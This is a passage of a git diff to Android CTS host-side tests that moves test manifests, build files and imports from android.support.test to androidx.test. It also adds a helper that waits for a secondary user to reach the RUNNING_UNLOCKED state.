android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_990" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-991/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-991/app/AndroidManifest.xml
index e12e42a..6832440 100644
--- a/hostsidetests/jvmti/run-tests/test-991/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-991/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_991" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-992/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-992/app/AndroidManifest.xml
index a6e156c..4d84fcd 100644
--- a/hostsidetests/jvmti/run-tests/test-992/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-992/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_992" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-993/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-993/app/AndroidManifest.xml
index 68a04cc..457241f 100644
--- a/hostsidetests/jvmti/run-tests/test-993/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-993/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_993" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-994/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-994/app/AndroidManifest.xml
index af8bab8..514807c 100644
--- a/hostsidetests/jvmti/run-tests/test-994/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-994/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_994" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-995/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-995/app/AndroidManifest.xml
index 7887bf3..5573c26 100644
--- a/hostsidetests/jvmti/run-tests/test-995/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-995/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_995" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-996/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-996/app/AndroidManifest.xml
index 7f9a22a..5bbeb41 100644
--- a/hostsidetests/jvmti/run-tests/test-996/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-996/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_996" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-997/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-997/app/AndroidManifest.xml
index 5dd570c..9d08b83 100644
--- a/hostsidetests/jvmti/run-tests/test-997/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-997/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_997" >
</instrumentation>
diff --git a/hostsidetests/jvmti/tagging/app/AndroidManifest.xml b/hostsidetests/jvmti/tagging/app/AndroidManifest.xml
index 03509ce..49d9b2c 100755
--- a/hostsidetests/jvmti/tagging/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/tagging/app/AndroidManifest.xml
@@ -26,7 +26,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.tagging" >
</instrumentation>
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.mk b/hostsidetests/media/app/MediaSessionTest/Android.mk
index 174a744..fe46d74 100644
--- a/hostsidetests/media/app/MediaSessionTest/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTest/Android.mk
@@ -30,8 +30,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
+ androidx.test.rules \
+ compatibility-device-util-axt \
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
index 72d3e64..009fea8 100644
--- a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
@@ -35,7 +35,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.media.session.cts"
android:label="MediaSession multi-user case CTS Tests" />
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index 02d8107..b73da0d 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -17,7 +17,7 @@
package android.media.session.cts;
import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
-import static org.junit.Assert.assertFalse;
+
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -26,8 +26,9 @@
import android.media.session.MediaController;
import android.media.session.MediaSessionManager;
import android.service.notification.NotificationListenerService;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/media/bitstreams/app/Android.mk b/hostsidetests/media/bitstreams/app/Android.mk
index 6070146..9ed5506 100644
--- a/hostsidetests/media/bitstreams/app/Android.mk
+++ b/hostsidetests/media/bitstreams/app/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util media-bitstreams-common-devicesidelib
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt media-bitstreams-common-devicesidelib
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/media/bitstreams/app/AndroidManifest.xml b/hostsidetests/media/bitstreams/app/AndroidManifest.xml
index d5565fd..0f77bad 100644
--- a/hostsidetests/media/bitstreams/app/AndroidManifest.xml
+++ b/hostsidetests/media/bitstreams/app/AndroidManifest.xml
@@ -23,7 +23,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.media.cts.bitstreams.app"
android:label="Device-side CTS media bitstreams preparation" />
</manifest>
diff --git a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
index e59e7a3..625839f 100644
--- a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
+++ b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
@@ -21,16 +21,24 @@
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.media.cts.bitstreams.MediaBitstreams;
import android.os.Bundle;
import android.os.Debug;
-import android.support.test.InstrumentationRegistry;
import android.util.Xml;
+
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+import org.xmlpull.v1.XmlSerializer;
+
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
@@ -47,12 +55,6 @@
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicReference;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-import org.xmlpull.v1.XmlSerializer;
/**
* Test class that uses device-side media APIs to determine up to which resolution MediaPreparer
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 74ec892..e6f8c62 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -44,7 +44,7 @@
* Base class for host-side tests for multi-user aware media APIs.
*/
public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
- private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
/**
* The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
index c03e70b..6d89e58 100644
--- a/hostsidetests/net/app/Android.mk
+++ b/hostsidetests/net/app/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator \
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt ub-uiautomator \
CtsHostsideNetworkTestsAidl
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/hostsidetests/net/app/AndroidManifest.xml b/hostsidetests/net/app/AndroidManifest.xml
index 2553f47..ba0e242 100644
--- a/hostsidetests/net/app/AndroidManifest.xml
+++ b/hostsidetests/net/app/AndroidManifest.xml
@@ -45,7 +45,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.net.hostside" />
</manifest>
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
index 7c9ce8f..a2443b3 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
@@ -128,7 +128,7 @@
protected void runDeviceTests(String packageName, String testClassName, String methodName)
throws DeviceNotAvailableException {
RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
- "android.support.test.runner.AndroidJUnitRunner", getDevice().getIDevice());
+ "androidx.test.runner.AndroidJUnitRunner", getDevice().getIDevice());
if (testClassName != null) {
if (methodName != null) {
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
index fc0f4a0..08bf132 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/numberblocking/app/AndroidManifest.xml b/hostsidetests/numberblocking/app/AndroidManifest.xml
index 9c2b3b1..6ff2d9e 100755
--- a/hostsidetests/numberblocking/app/AndroidManifest.xml
+++ b/hostsidetests/numberblocking/app/AndroidManifest.xml
@@ -33,7 +33,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.numberblocking.hostside"
android:label="Number blocking CTS Tests"/>
diff --git a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/BaseNumberBlockingClientTest.java b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/BaseNumberBlockingClientTest.java
index 30312da4..4a31f8b 100644
--- a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/BaseNumberBlockingClientTest.java
+++ b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/BaseNumberBlockingClientTest.java
@@ -18,10 +18,11 @@
import android.content.Context;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
import android.telecom.TelecomManager;
import android.test.InstrumentationTestCase;
+import androidx.test.InstrumentationRegistry;
+
/**
* Base class for number blocking tests.
*/
diff --git a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
index 5e1a0ec..6d5c336 100644
--- a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
+++ b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
@@ -119,7 +119,7 @@
runTestAsPrimaryUser(CALL_BLOCKING_TEST_CLASS_NAME, "testUnregisterPhoneAccount");
// Run tests as secondary user.
- assertTrue(getDevice().startUser(mSecondaryUserId));
+ startUserAndWait(mSecondaryUserId);
// Ensure that a privileged app cannot block numbers when the current user is a
// secondary user.
@@ -142,6 +142,29 @@
}
}
+ /** Starts user {@code userId} and waits until it is in state RUNNING_UNLOCKED. */
+ protected void startUserAndWait(int userId) throws Exception {
+ getDevice().startUser(userId);
+
+ final String desiredState = "RUNNING_UNLOCKED";
+ final long USER_STATE_TIMEOUT_MS = 60_0000; // 1 minute
+ final long timeout = System.currentTimeMillis() + USER_STATE_TIMEOUT_MS;
+ final String command = String.format("am get-started-user-state %d", userId);
+ String output = "";
+ while (System.currentTimeMillis() <= timeout) {
+ output = getDevice().executeShellCommand(command);
+ if (output.contains(desiredState)) {
+ return;
+ }
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException e) {
+ // Do nothing.
+ }
+ }
+ fail("User state of " + userId + " was '" + output + "' rather than " + desiredState);
+ }
+
private void createSecondaryUser() throws Exception {
mSecondaryUserId = getDevice().createUser(SECONDARY_USER_NAME);
getDevice().waitForDeviceAvailable();
@@ -171,7 +194,7 @@
className, methodName, userId);
RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
NUMBER_BLOCKING_TESTS_PKG,
- "android.support.test.runner.AndroidJUnitRunner",
+ "androidx.test.runner.AndroidJUnitRunner",
getDevice().getIDevice());
testRunner.addInstrumentationArg("blocked_number", BLOCKED_NUMBER);
testRunner.addInstrumentationArg("phone_account_id", PHONE_ACCOUNT_ID);
diff --git a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
index d4b34ce..9aa1edc 100644
--- a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
@@ -36,7 +36,7 @@
public class StaticSharedLibsHostTests extends DeviceTestCase implements IBuildReceiver {
private static final String ANDROID_JUNIT_RUNNER_CLASS =
- "android.support.test.runner.AndroidJUnitRunner";
+ "androidx.test.runner.AndroidJUnitRunner";
private static final String STATIC_LIB_PROVIDER_RECURSIVE_APK =
"CtsStaticSharedLibProviderRecursive.apk";
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
index 3f3d8bd..85aade7 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
@@ -23,8 +23,8 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util
+ androidx.test.rules \
+ compatibility-device-util-axt
LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp1
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
index 52a2dfe..95f6b29 100755
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
@@ -33,7 +33,7 @@
</uses-static-library>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.os.lib.consumer1"/>
</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
index 995be4f..b5462e5 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
@@ -27,15 +27,17 @@
import android.content.pm.SharedLibraryInfo;
import android.content.pm.VersionedPackage;
import android.os.lib.provider.StaticSharedLib;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.List;
-import com.android.compatibility.common.util.SystemUtil;
-
@RunWith(AndroidJUnit4.class)
public class UseSharedLibraryTest {
private static final String LIB_NAME = "foo.bar.lib";
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
index 801dd75..9e35c0e 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp4
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
index 7ddb841..5a76ea3 100755
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
@@ -29,7 +29,7 @@
</uses-static-library>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.os.lib.consumer2"/>
</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java
index 4e9a347..8f824d1 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java
@@ -16,14 +16,16 @@
package android.os.lib.consumer2;
+import static org.junit.Assert.assertSame;
+
import android.os.lib.provider.StaticSharedLib;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertSame;
-
@RunWith(AndroidJUnit4.class)
public class UseSharedLibraryTest {
@Test
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
index be1b6b0..91ae872 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp7
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
index b156e6b..55e1904 100755
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
@@ -30,7 +30,7 @@
</uses-static-library>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.os.lib.consumer3"/>
</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
index a57207f..1462048 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
@@ -16,14 +16,16 @@
package android.os.lib.consumer3;
+import static org.junit.Assert.assertSame;
+
import android.os.lib.provider.StaticSharedLib;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertSame;
-
@RunWith(AndroidJUnit4.class)
public class UseSharedLibraryTest {
@Test
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
index 1225e38..9564193 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
@@ -23,7 +23,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test
+ androidx.test.rules
LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibconsumerjni
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml
index 34c0403..acfffba 100755
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml
@@ -30,7 +30,7 @@
</uses-static-library>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.os.lib.consumer"/>
</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java
index 20a3d30..19cc954 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java
@@ -18,7 +18,8 @@
import static org.junit.Assert.assertSame;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/sample/app2/Android.mk b/hostsidetests/sample/app2/Android.mk
index cec0078..e050412 100644
--- a/hostsidetests/sample/app2/Android.mk
+++ b/hostsidetests/sample/app2/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/sample/app2/AndroidManifest.xml b/hostsidetests/sample/app2/AndroidManifest.xml
index 3bbcf1f..5003e8c 100644
--- a/hostsidetests/sample/app2/AndroidManifest.xml
+++ b/hostsidetests/sample/app2/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.sample.cts.app2" />
</manifest>
diff --git a/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java b/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
index 918632e..435aea2 100644
--- a/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
+++ b/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
@@ -16,13 +16,13 @@
package android.sample.cts.app2;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Assert;
import org.junit.Assume;
import org.junit.Test;
import org.junit.runner.RunWith;
-import android.support.test.runner.AndroidJUnit4;
-
/**
* Device-side tests for CtsSampleHostTestCases
*/
diff --git a/hostsidetests/seccomp/app/Android.mk b/hostsidetests/seccomp/app/Android.mk
index 041d760..36dd417 100644
--- a/hostsidetests/seccomp/app/Android.mk
+++ b/hostsidetests/seccomp/app/Android.mk
@@ -30,8 +30,8 @@
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
+ androidx.test.rules \
+ compatibility-device-util-axt \
LOCAL_JNI_SHARED_LIBRARIES := \
libctsseccomp_jni \
diff --git a/hostsidetests/seccomp/app/AndroidManifest.xml b/hostsidetests/seccomp/app/AndroidManifest.xml
index b8e97e3..9940eeb 100644
--- a/hostsidetests/seccomp/app/AndroidManifest.xml
+++ b/hostsidetests/seccomp/app/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.seccomp.cts.app" />
</manifest>
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
index 42ea6c2..6cb8b53 100644
--- a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
@@ -16,25 +16,25 @@
package android.seccomp.cts.app;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.Iterator;
-
import android.content.Context;
import android.content.res.AssetManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.CpuFeatures;
-import org.json.JSONObject;
-import org.json.JSONException;
-import org.junit.After;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CpuFeatures;
+
+import org.json.JSONException;
+import org.json.JSONObject;
import org.junit.Assert;
-import org.junit.Assume;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Iterator;
+
/**
* Device-side tests for CtsSeccompHostTestCases
